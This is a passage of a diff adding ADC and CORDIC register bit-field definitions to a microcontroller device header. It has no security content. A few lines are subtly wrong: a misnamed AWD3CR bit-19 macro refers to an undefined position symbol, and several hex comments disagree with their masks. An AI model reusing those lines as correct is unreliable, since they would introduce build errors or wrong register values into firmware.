ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR4_OFFSET4_CH_4 (0x10UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR4_OFFSET4_EN_Pos (31U) +#define ADC_OFR4_OFFSET4_EN_Msk (0x1UL << ADC_OFR4_OFFSET4_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR4_OFFSET4_EN ADC_OFR4_OFFSET4_EN_Msk /*!< ADC offset number 4 enable */ + +/******************** Bit definition for ADC_JDR1 register ******************/ +#define ADC_JDR1_JDATA_Pos (0U) +#define ADC_JDR1_JDATA_Msk (0xFFFFUL << ADC_JDR1_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC group injected sequencer rank 1 conversion data */ + +/******************** Bit definition for ADC_JDR2 register ******************/ +#define ADC_JDR2_JDATA_Pos (0U) +#define ADC_JDR2_JDATA_Msk (0xFFFFUL << ADC_JDR2_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC group injected sequencer rank 2 conversion data */ + +/******************** Bit definition for ADC_JDR3 register ******************/ +#define ADC_JDR3_JDATA_Pos (0U) +#define ADC_JDR3_JDATA_Msk (0xFFFFUL << ADC_JDR3_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC group injected sequencer rank 3 conversion data */ + +/******************** Bit definition for ADC_JDR4 register ******************/ +#define ADC_JDR4_JDATA_Pos (0U) +#define ADC_JDR4_JDATA_Msk (0xFFFFUL << ADC_JDR4_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC group injected sequencer rank 4 conversion data */ + +/******************** Bit definition for ADC_AWD2CR register ****************/ +#define ADC_AWD2CR_AWD2CH_Pos (0U) +#define ADC_AWD2CR_AWD2CH_Msk (0xFFFFFUL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x0007FFFF */ +#define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC analog watchdog 2 monitored channel selection */ +#define ADC_AWD2CR_AWD2CH_0 (0x00001UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD2CR_AWD2CH_1 (0x00002UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD2CR_AWD2CH_2 (0x00004UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD2CR_AWD2CH_3 (0x00008UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD2CR_AWD2CH_4 (0x00010UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD2CR_AWD2CH_5 (0x00020UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD2CR_AWD2CH_6 (0x00040UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD2CR_AWD2CH_7 (0x00080UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD2CR_AWD2CH_8 (0x00100UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD2CR_AWD2CH_9 (0x00200UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD2CR_AWD2CH_10 (0x00400UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD2CR_AWD2CH_11 (0x00800UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD2CR_AWD2CH_12 (0x01000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD2CR_AWD2CH_13 (0x02000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD2CR_AWD2CH_14 (0x04000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD2CR_AWD2CH_15 (0x08000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD2CR_AWD2CH_16 (0x10000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD2CR_AWD2CH_17 (0x20000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD2CR_AWD2CH_18 (0x40000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD2CR_AWD2CH_19 (0x80000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_AWD3CR register ****************/ +#define ADC_AWD3CR_AWD3CH_Pos (0U) +#define ADC_AWD3CR_AWD3CH_Msk (0xFFFFFUL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x0007FFFF */ +#define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC analog watchdog 3 monitored channel selection */ +#define ADC_AWD3CR_AWD3CH_0 (0x00001UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD3CR_AWD3CH_1 (0x00002UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD3CR_AWD3CH_2 (0x00004UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD3CR_AWD3CH_3 (0x00008UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD3CR_AWD3CH_4 (0x00010UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD3CR_AWD3CH_5 (0x00020UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD3CR_AWD3CH_6 (0x00040UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD3CR_AWD3CH_7 (0x00080UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD3CR_AWD3CH_8 (0x00100UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD3CR_AWD3CH_9 (0x00200UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD3CR_AWD3CH_10 (0x00400UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD3CR_AWD3CH_11 (0x00800UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD3CR_AWD3CH_12 (0x01000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD3CR_AWD3CH_13 (0x02000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD3CR_AWD3CH_14 (0x04000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD3CR_AWD3CH_15 (0x08000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD3CR_AWD3CH_16 (0x10000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD3CR_AWD3CH_17 (0x20000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD3CR_AWD3CH_18 (0x40000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD3CR_AWD2CH_19 (0x80000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_DIFSEL register ****************/ +#define ADC_DIFSEL_DIFSEL_Pos (0U) +#define ADC_DIFSEL_DIFSEL_Msk (0xFFFFFUL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x0007FFFF */ +#define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC channel differential or single-ended mode */ +#define ADC_DIFSEL_DIFSEL_0 (0x00001UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ +#define ADC_DIFSEL_DIFSEL_1 (0x00002UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ +#define ADC_DIFSEL_DIFSEL_2 (0x00004UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ +#define ADC_DIFSEL_DIFSEL_3 (0x00008UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ +#define ADC_DIFSEL_DIFSEL_4 (0x00010UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ +#define ADC_DIFSEL_DIFSEL_5 (0x00020UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ +#define ADC_DIFSEL_DIFSEL_6 (0x00040UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ +#define ADC_DIFSEL_DIFSEL_7 (0x00080UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ +#define ADC_DIFSEL_DIFSEL_8 (0x00100UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ +#define ADC_DIFSEL_DIFSEL_9 (0x00200UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ +#define ADC_DIFSEL_DIFSEL_10 (0x00400UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ +#define ADC_DIFSEL_DIFSEL_11 (0x00800UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ +#define ADC_DIFSEL_DIFSEL_12 (0x01000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ +#define ADC_DIFSEL_DIFSEL_13 (0x02000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ +#define ADC_DIFSEL_DIFSEL_14 (0x04000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ +#define ADC_DIFSEL_DIFSEL_15 (0x08000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ +#define ADC_DIFSEL_DIFSEL_16 (0x10000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ +#define ADC_DIFSEL_DIFSEL_17 (0x20000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ +#define ADC_DIFSEL_DIFSEL_18 (0x40000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ +#define ADC_DIFSEL_DIFSEL_19 (0x80000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_CALFACT register ***************/ +#define ADC_CALFACT_CALFACT_S_Pos (0U) +#define ADC_CALFACT_CALFACT_S_Msk (0x7FUL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x0000007F */ +#define ADC_CALFACT_CALFACT_S ADC_CALFACT_CALFACT_S_Msk /*!< ADC calibration factor in single-ended mode */ +#define ADC_CALFACT_CALFACT_S_0 (0x01UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT_CALFACT_S_1 (0x02UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT_CALFACT_S_2 (0x04UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT_CALFACT_S_3 (0x08UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT_CALFACT_S_4 (0x10UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT_CALFACT_S_5 (0x20UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT_CALFACT_S_6 (0x40UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000030 */ + +#define ADC_CALFACT_CALFACT_D_Pos (16U) +#define ADC_CALFACT_CALFACT_D_Msk (0x7FUL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x007F0000 */ +#define ADC_CALFACT_CALFACT_D ADC_CALFACT_CALFACT_D_Msk /*!< ADC calibration factor in differential mode */ +#define ADC_CALFACT_CALFACT_D_0 (0x01UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT_CALFACT_D_1 (0x02UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00020000 */ +#define ADC_CALFACT_CALFACT_D_2 (0x04UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00040000 */ +#define ADC_CALFACT_CALFACT_D_3 (0x08UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00080000 */ +#define ADC_CALFACT_CALFACT_D_4 (0x10UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00100000 */ +#define ADC_CALFACT_CALFACT_D_5 (0x20UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00200000 */ +#define ADC_CALFACT_CALFACT_D_6 (0x40UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00300000 */ + +/******************** Bit definition for ADC_OR register *****************/ +#define ADC_OR_OP0_Pos (0U) +#define ADC_OR_OP0_Msk (0x01UL << ADC_OR_OP0_Pos) /*!< 0x00000001 */ +#define ADC_OR_OP0 ADC_OR_OP0_Msk /*!< ADC Option bit 0 */ +#define ADC_OR_OP1_Pos (1U) +#define ADC_OR_OP1_Msk (0x01UL << ADC_OR_OP1_Pos) /*!< 0x00000001 */ +#define ADC_OR_OP1 ADC_OR_OP1_Msk /*!< ADC Option bit 1 */ + +/************************* ADC Common registers *****************************/ +/******************** Bit definition for ADC_CSR register *******************/ +#define ADC_CSR_ADRDY_MST_Pos (0U) +#define ADC_CSR_ADRDY_MST_Msk (0x1UL << ADC_CSR_ADRDY_MST_Pos) /*!< 0x00000001 */ +#define ADC_CSR_ADRDY_MST ADC_CSR_ADRDY_MST_Msk /*!< ADC multimode master ready flag */ +#define ADC_CSR_EOSMP_MST_Pos (1U) +#define ADC_CSR_EOSMP_MST_Msk (0x1UL << ADC_CSR_EOSMP_MST_Pos) /*!< 0x00000002 */ +#define ADC_CSR_EOSMP_MST ADC_CSR_EOSMP_MST_Msk /*!< ADC multimode master group regular end of sampling flag */ +#define ADC_CSR_EOC_MST_Pos (2U) +#define ADC_CSR_EOC_MST_Msk (0x1UL << ADC_CSR_EOC_MST_Pos) /*!< 0x00000004 */ +#define ADC_CSR_EOC_MST ADC_CSR_EOC_MST_Msk /*!< ADC multimode master group regular end of unitary conversion flag */ +#define ADC_CSR_EOS_MST_Pos (3U) +#define ADC_CSR_EOS_MST_Msk (0x1UL << ADC_CSR_EOS_MST_Pos) /*!< 0x00000008 */ +#define ADC_CSR_EOS_MST ADC_CSR_EOS_MST_Msk /*!< ADC multimode master group regular end of sequence conversions flag */ +#define ADC_CSR_OVR_MST_Pos (4U) +#define ADC_CSR_OVR_MST_Msk (0x1UL << ADC_CSR_OVR_MST_Pos) /*!< 0x00000010 */ +#define ADC_CSR_OVR_MST ADC_CSR_OVR_MST_Msk /*!< ADC multimode master group regular overrun flag */ +#define ADC_CSR_JEOC_MST_Pos (5U) +#define ADC_CSR_JEOC_MST_Msk (0x1UL << ADC_CSR_JEOC_MST_Pos) /*!< 0x00000020 */ +#define ADC_CSR_JEOC_MST ADC_CSR_JEOC_MST_Msk /*!< ADC multimode master group injected end of unitary conversion flag */ +#define ADC_CSR_JEOS_MST_Pos (6U) +#define ADC_CSR_JEOS_MST_Msk (0x1UL << ADC_CSR_JEOS_MST_Pos) /*!< 0x00000040 */ +#define ADC_CSR_JEOS_MST ADC_CSR_JEOS_MST_Msk /*!< ADC multimode master group injected end of sequence conversions flag */ +#define ADC_CSR_AWD1_MST_Pos (7U) +#define ADC_CSR_AWD1_MST_Msk (0x1UL << ADC_CSR_AWD1_MST_Pos) /*!< 0x00000080 */ +#define ADC_CSR_AWD1_MST ADC_CSR_AWD1_MST_Msk /*!< ADC multimode master analog watchdog 1 flag */ +#define ADC_CSR_AWD2_MST_Pos (8U) +#define ADC_CSR_AWD2_MST_Msk (0x1UL << ADC_CSR_AWD2_MST_Pos) /*!< 0x00000100 */ +#define ADC_CSR_AWD2_MST ADC_CSR_AWD2_MST_Msk /*!< ADC multimode master analog watchdog 2 flag */ +#define ADC_CSR_AWD3_MST_Pos (9U) +#define ADC_CSR_AWD3_MST_Msk (0x1UL << ADC_CSR_AWD3_MST_Pos) /*!< 0x00000200 */ +#define ADC_CSR_AWD3_MST ADC_CSR_AWD3_MST_Msk /*!< ADC multimode master analog watchdog 3 flag */ +#define ADC_CSR_JQOVF_MST_Pos (10U) +#define ADC_CSR_JQOVF_MST_Msk (0x1UL << ADC_CSR_JQOVF_MST_Pos) /*!< 0x00000400 */ +#define ADC_CSR_JQOVF_MST ADC_CSR_JQOVF_MST_Msk /*!< ADC multimode master group injected contexts queue overflow flag */ + +#define ADC_CSR_ADRDY_SLV_Pos (16U) +#define ADC_CSR_ADRDY_SLV_Msk (0x1UL << ADC_CSR_ADRDY_SLV_Pos) /*!< 0x00010000 */ +#define ADC_CSR_ADRDY_SLV ADC_CSR_ADRDY_SLV_Msk /*!< ADC multimode slave ready flag */ +#define ADC_CSR_EOSMP_SLV_Pos (17U) +#define ADC_CSR_EOSMP_SLV_Msk (0x1UL << ADC_CSR_EOSMP_SLV_Pos) /*!< 0x00020000 */ +#define ADC_CSR_EOSMP_SLV ADC_CSR_EOSMP_SLV_Msk /*!< ADC multimode slave group regular end of sampling flag */ +#define ADC_CSR_EOC_SLV_Pos (18U) +#define ADC_CSR_EOC_SLV_Msk (0x1UL << ADC_CSR_EOC_SLV_Pos) /*!< 0x00040000 */ +#define ADC_CSR_EOC_SLV ADC_CSR_EOC_SLV_Msk /*!< ADC multimode slave group regular end of unitary conversion flag */ +#define ADC_CSR_EOS_SLV_Pos (19U) +#define ADC_CSR_EOS_SLV_Msk (0x1UL << ADC_CSR_EOS_SLV_Pos) /*!< 0x00080000 */ +#define ADC_CSR_EOS_SLV ADC_CSR_EOS_SLV_Msk /*!< ADC multimode slave group regular end of sequence conversions flag */ +#define ADC_CSR_OVR_SLV_Pos (20U) +#define ADC_CSR_OVR_SLV_Msk (0x1UL << ADC_CSR_OVR_SLV_Pos) /*!< 0x00100000 */ +#define ADC_CSR_OVR_SLV ADC_CSR_OVR_SLV_Msk /*!< ADC multimode slave group regular overrun flag */ +#define ADC_CSR_JEOC_SLV_Pos (21U) +#define ADC_CSR_JEOC_SLV_Msk (0x1UL << ADC_CSR_JEOC_SLV_Pos) /*!< 0x00200000 */ +#define ADC_CSR_JEOC_SLV ADC_CSR_JEOC_SLV_Msk /*!< ADC multimode slave group injected end of unitary conversion flag */ +#define ADC_CSR_JEOS_SLV_Pos (22U) +#define ADC_CSR_JEOS_SLV_Msk (0x1UL << ADC_CSR_JEOS_SLV_Pos) /*!< 0x00400000 */ +#define ADC_CSR_JEOS_SLV ADC_CSR_JEOS_SLV_Msk /*!< ADC multimode slave group injected end of sequence conversions flag */ +#define ADC_CSR_AWD1_SLV_Pos (23U) +#define ADC_CSR_AWD1_SLV_Msk (0x1UL << ADC_CSR_AWD1_SLV_Pos) /*!< 0x00800000 */ +#define ADC_CSR_AWD1_SLV ADC_CSR_AWD1_SLV_Msk /*!< ADC multimode slave analog watchdog 1 flag */ +#define ADC_CSR_AWD2_SLV_Pos (24U) +#define ADC_CSR_AWD2_SLV_Msk (0x1UL << ADC_CSR_AWD2_SLV_Pos) /*!< 0x01000000 */ +#define ADC_CSR_AWD2_SLV ADC_CSR_AWD2_SLV_Msk /*!< ADC multimode slave analog watchdog 2 flag */ +#define ADC_CSR_AWD3_SLV_Pos (25U) +#define ADC_CSR_AWD3_SLV_Msk (0x1UL << ADC_CSR_AWD3_SLV_Pos) /*!< 0x02000000 */ +#define ADC_CSR_AWD3_SLV ADC_CSR_AWD3_SLV_Msk /*!< ADC multimode slave analog watchdog 3 flag */ +#define ADC_CSR_JQOVF_SLV_Pos (26U) +#define ADC_CSR_JQOVF_SLV_Msk (0x1UL << ADC_CSR_JQOVF_SLV_Pos) /*!< 0x04000000 */ +#define ADC_CSR_JQOVF_SLV ADC_CSR_JQOVF_SLV_Msk /*!< ADC multimode slave group injected contexts queue overflow flag */ + +/******************** Bit definition for ADC_CCR register *******************/ +#define ADC_CCR_DUAL_Pos (0U) +#define ADC_CCR_DUAL_Msk (0x1FUL << ADC_CCR_DUAL_Pos) /*!< 0x0000001F */ +#define ADC_CCR_DUAL ADC_CCR_DUAL_Msk /*!< ADC multimode mode selection */ +#define ADC_CCR_DUAL_0 (0x01UL << ADC_CCR_DUAL_Pos) /*!< 0x00000001 */ +#define ADC_CCR_DUAL_1 (0x02UL << ADC_CCR_DUAL_Pos) /*!< 0x00000002 */ +#define ADC_CCR_DUAL_2 (0x04UL << ADC_CCR_DUAL_Pos) /*!< 0x00000004 */ +#define ADC_CCR_DUAL_3 (0x08UL << ADC_CCR_DUAL_Pos) /*!< 0x00000008 */ +#define ADC_CCR_DUAL_4 (0x10UL << ADC_CCR_DUAL_Pos) /*!< 0x00000010 */ + +#define ADC_CCR_DELAY_Pos (8U) +#define ADC_CCR_DELAY_Msk (0xFUL << ADC_CCR_DELAY_Pos) /*!< 0x00000F00 */ +#define ADC_CCR_DELAY ADC_CCR_DELAY_Msk /*!< ADC multimode delay between 2 sampling phases */ +#define ADC_CCR_DELAY_0 (0x1UL << ADC_CCR_DELAY_Pos) /*!< 0x00000100 */ +#define ADC_CCR_DELAY_1 (0x2UL << ADC_CCR_DELAY_Pos) /*!< 0x00000200 */ +#define ADC_CCR_DELAY_2 (0x4UL << ADC_CCR_DELAY_Pos) /*!< 0x00000400 */ +#define ADC_CCR_DELAY_3 (0x8UL << ADC_CCR_DELAY_Pos) /*!< 0x00000800 */ + +#define ADC_CCR_DMACFG_Pos (13U) +#define ADC_CCR_DMACFG_Msk (0x1UL << ADC_CCR_DMACFG_Pos) /*!< 0x00002000 */ +#define ADC_CCR_DMACFG ADC_CCR_DMACFG_Msk /*!< ADC multimode DMA transfer configuration */ + +#define ADC_CCR_MDMA_Pos (14U) +#define ADC_CCR_MDMA_Msk (0x3UL << ADC_CCR_MDMA_Pos) /*!< 0x0000C000 */ +#define ADC_CCR_MDMA ADC_CCR_MDMA_Msk /*!< ADC multimode DMA transfer enable */ +#define ADC_CCR_MDMA_0 (0x1UL << ADC_CCR_MDMA_Pos) /*!< 0x00004000 */ +#define ADC_CCR_MDMA_1 (0x2UL << ADC_CCR_MDMA_Pos) /*!< 0x00008000 */ + +#define ADC_CCR_CKMODE_Pos (16U) +#define ADC_CCR_CKMODE_Msk (0x3UL << ADC_CCR_CKMODE_Pos) /*!< 0x00030000 */ +#define ADC_CCR_CKMODE ADC_CCR_CKMODE_Msk /*!< ADC common clock source and prescaler (prescaler only for clock source synchronous) */ +#define ADC_CCR_CKMODE_0 (0x1UL << ADC_CCR_CKMODE_Pos) /*!< 0x00010000 */ +#define ADC_CCR_CKMODE_1 (0x2UL << ADC_CCR_CKMODE_Pos) /*!< 0x00020000 */ + +#define ADC_CCR_PRESC_Pos (18U) +#define ADC_CCR_PRESC_Msk (0xFUL << ADC_CCR_PRESC_Pos) /*!< 0x003C0000 */ +#define ADC_CCR_PRESC ADC_CCR_PRESC_Msk /*!< ADC common clock prescaler, only for clock source asynchronous */ +#define ADC_CCR_PRESC_0 (0x1UL << ADC_CCR_PRESC_Pos) /*!< 0x00040000 */ +#define ADC_CCR_PRESC_1 (0x2UL << ADC_CCR_PRESC_Pos) /*!< 0x00080000 */ +#define ADC_CCR_PRESC_2 (0x4UL << ADC_CCR_PRESC_Pos) /*!< 0x00100000 */ +#define ADC_CCR_PRESC_3 (0x8UL << ADC_CCR_PRESC_Pos) /*!< 0x00200000 */ + +#define ADC_CCR_VREFEN_Pos (22U) +#define ADC_CCR_VREFEN_Msk (0x1UL << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ +#define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< ADC internal path to VrefInt enable */ +#define ADC_CCR_TSEN_Pos (23U) +#define ADC_CCR_TSEN_Msk (0x1UL << ADC_CCR_TSEN_Pos) /*!< 0x00800000 */ +#define ADC_CCR_TSEN ADC_CCR_TSEN_Msk /*!< ADC internal path to temperature sensor enable */ +#define ADC_CCR_VBATEN_Pos (24U) +#define ADC_CCR_VBATEN_Msk (0x1UL << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ +#define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< ADC internal path to battery voltage enable */ + +/******************** Bit definition for ADC_CDR register *******************/ +#define ADC_CDR_RDATA_MST_Pos (0U) +#define ADC_CDR_RDATA_MST_Msk (0xFFFFUL << ADC_CDR_RDATA_MST_Pos) /*!< 0x0000FFFF */ +#define ADC_CDR_RDATA_MST ADC_CDR_RDATA_MST_Msk /*!< ADC multimode master group regular conversion data */ + +#define ADC_CDR_RDATA_SLV_Pos (16U) +#define ADC_CDR_RDATA_SLV_Msk (0xFFFFUL << ADC_CDR_RDATA_SLV_Pos) /*!< 0xFFFF0000 */ +#define ADC_CDR_RDATA_SLV ADC_CDR_RDATA_SLV_Msk /*!< ADC multimode slave group regular conversion data */ + + +/******************************************************************************/ +/* */ +/* CORDIC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CORDIC_CSR register *****************/ +#define CORDIC_CSR_FUNC_Pos (0U) +#define CORDIC_CSR_FUNC_Msk (0xFUL << CORDIC_CSR_FUNC_Pos) /*!< 0x0000000F */ +#define CORDIC_CSR_FUNC CORDIC_CSR_FUNC_Msk /*!< Function */ +#define CORDIC_CSR_FUNC_0 (0x1UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000001 */ +#define CORDIC_CSR_FUNC_1 (0x2UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000002 */ +#define CORDIC_CSR_FUNC_2 (0x4UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000004 */ +#define CORDIC_CSR_FUNC_3 (0x8UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000008 */ +#define CORDIC_CSR_PRECISION_Pos (4U) +#define CORDIC_CSR_PRECISION_Msk (0xFUL << CORDIC_CSR_PRECISION_Pos) /*!< 0x000000F0 */ +#define CORDIC_CSR_PRECISION CORDIC_CSR_PRECISION_Msk /*!< Precision */ +#define CORDIC_CSR_PRECISION_0 (0x1UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000010 */ +#define CORDIC_CSR_PRECISION_1 (0x2UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000020 */ +#define CORDIC_CSR_PRECISION_2 (0x4UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000040 */ +#define CORDIC_CSR_PRECISION_3 (0x8UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000080 */ +#define CORDIC_CSR_SCALE_Pos (8U) +#define CORDIC_CSR_SCALE_Msk (0x7UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000700 */ +#define CORDIC_CSR_SCALE CORDIC_CSR_SCALE_Msk /*!< Scaling factor */ +#define CORDIC_CSR_SCALE_0 (0x1UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000100 */ +#define CORDIC_CSR_SCALE_1 (0x2UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000200 */ +#define CORDIC_CSR_SCALE_2 (0x4UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000400 */ +#define CORDIC_CSR_IEN_Pos (16U) +#define CORDIC_CSR_IEN_Msk (0x1UL << CORDIC_CSR_IEN_Pos) /*!< 0x00010000 */ +#define CORDIC_CSR_IEN CORDIC_CSR_IEN_Msk /*!< Interrupt Enable */ +#define CORDIC_CSR_DMAREN_Pos (17U) +#define CORDIC_CSR_DMAREN_Msk (0x1UL << CORDIC_CSR_DMAREN_Pos) /*!< 0x00020000 */ +#define CORDIC_CSR_DMAREN CORDIC_CSR_DMAREN_Msk /*!< DMA Read channel Enable */ +#define CORDIC_CSR_DMAWEN_Pos (18U) +#define CORDIC_CSR_DMAWEN_Msk (0x1UL << CORDIC_CSR_DMAWEN_Pos) /*!< 0x00040000 */ +#define CORDIC_CSR_DMAWEN CORDIC_CSR_DMAWEN_Msk /*!< DMA Write channel Enable */ +#define CORDIC_CSR_NRES_Pos (19U) +#define CORDIC_CSR_NRES_Msk (0x1UL << CORDIC_CSR_NRES_Pos) /*!< 0x00080000 */ +#define CORDIC_CSR_NRES CORDIC_CSR_NRES_Msk /*!< Number of results in WDATA register */ +#define CORDIC_CSR_NARGS_Pos (20U) +#define CORDIC_CSR_NARGS_Msk (0x1UL << CORDIC_CSR_NARGS_Pos) /*!< 0x00100000 */ +#define CORDIC_CSR_NARGS CORDIC_CSR_NARGS_Msk /*!< Number of arguments in RDATA register */ +#define CORDIC_CSR_RESSIZE_Pos (21U) +#define CORDIC_CSR_RESSIZE_Msk (0x1UL << CORDIC_CSR_RESSIZE_Pos) /*!< 0x00200000 */ +#define CORDIC_CSR_RESSIZE CORDIC_CSR_RESSIZE_Msk /*!< Width of output data */ +#define CORDIC_CSR_ARGSIZE_Pos (22U) +#define CORDIC_CSR_ARGSIZE_Msk (0x1UL << CORDIC_CSR_ARGSIZE_Pos) /*!< 0x00400000 */ +#define CORDIC_CSR_ARGSIZE CORDIC_CSR_ARGSIZE_Msk /*!< Width of input data */ 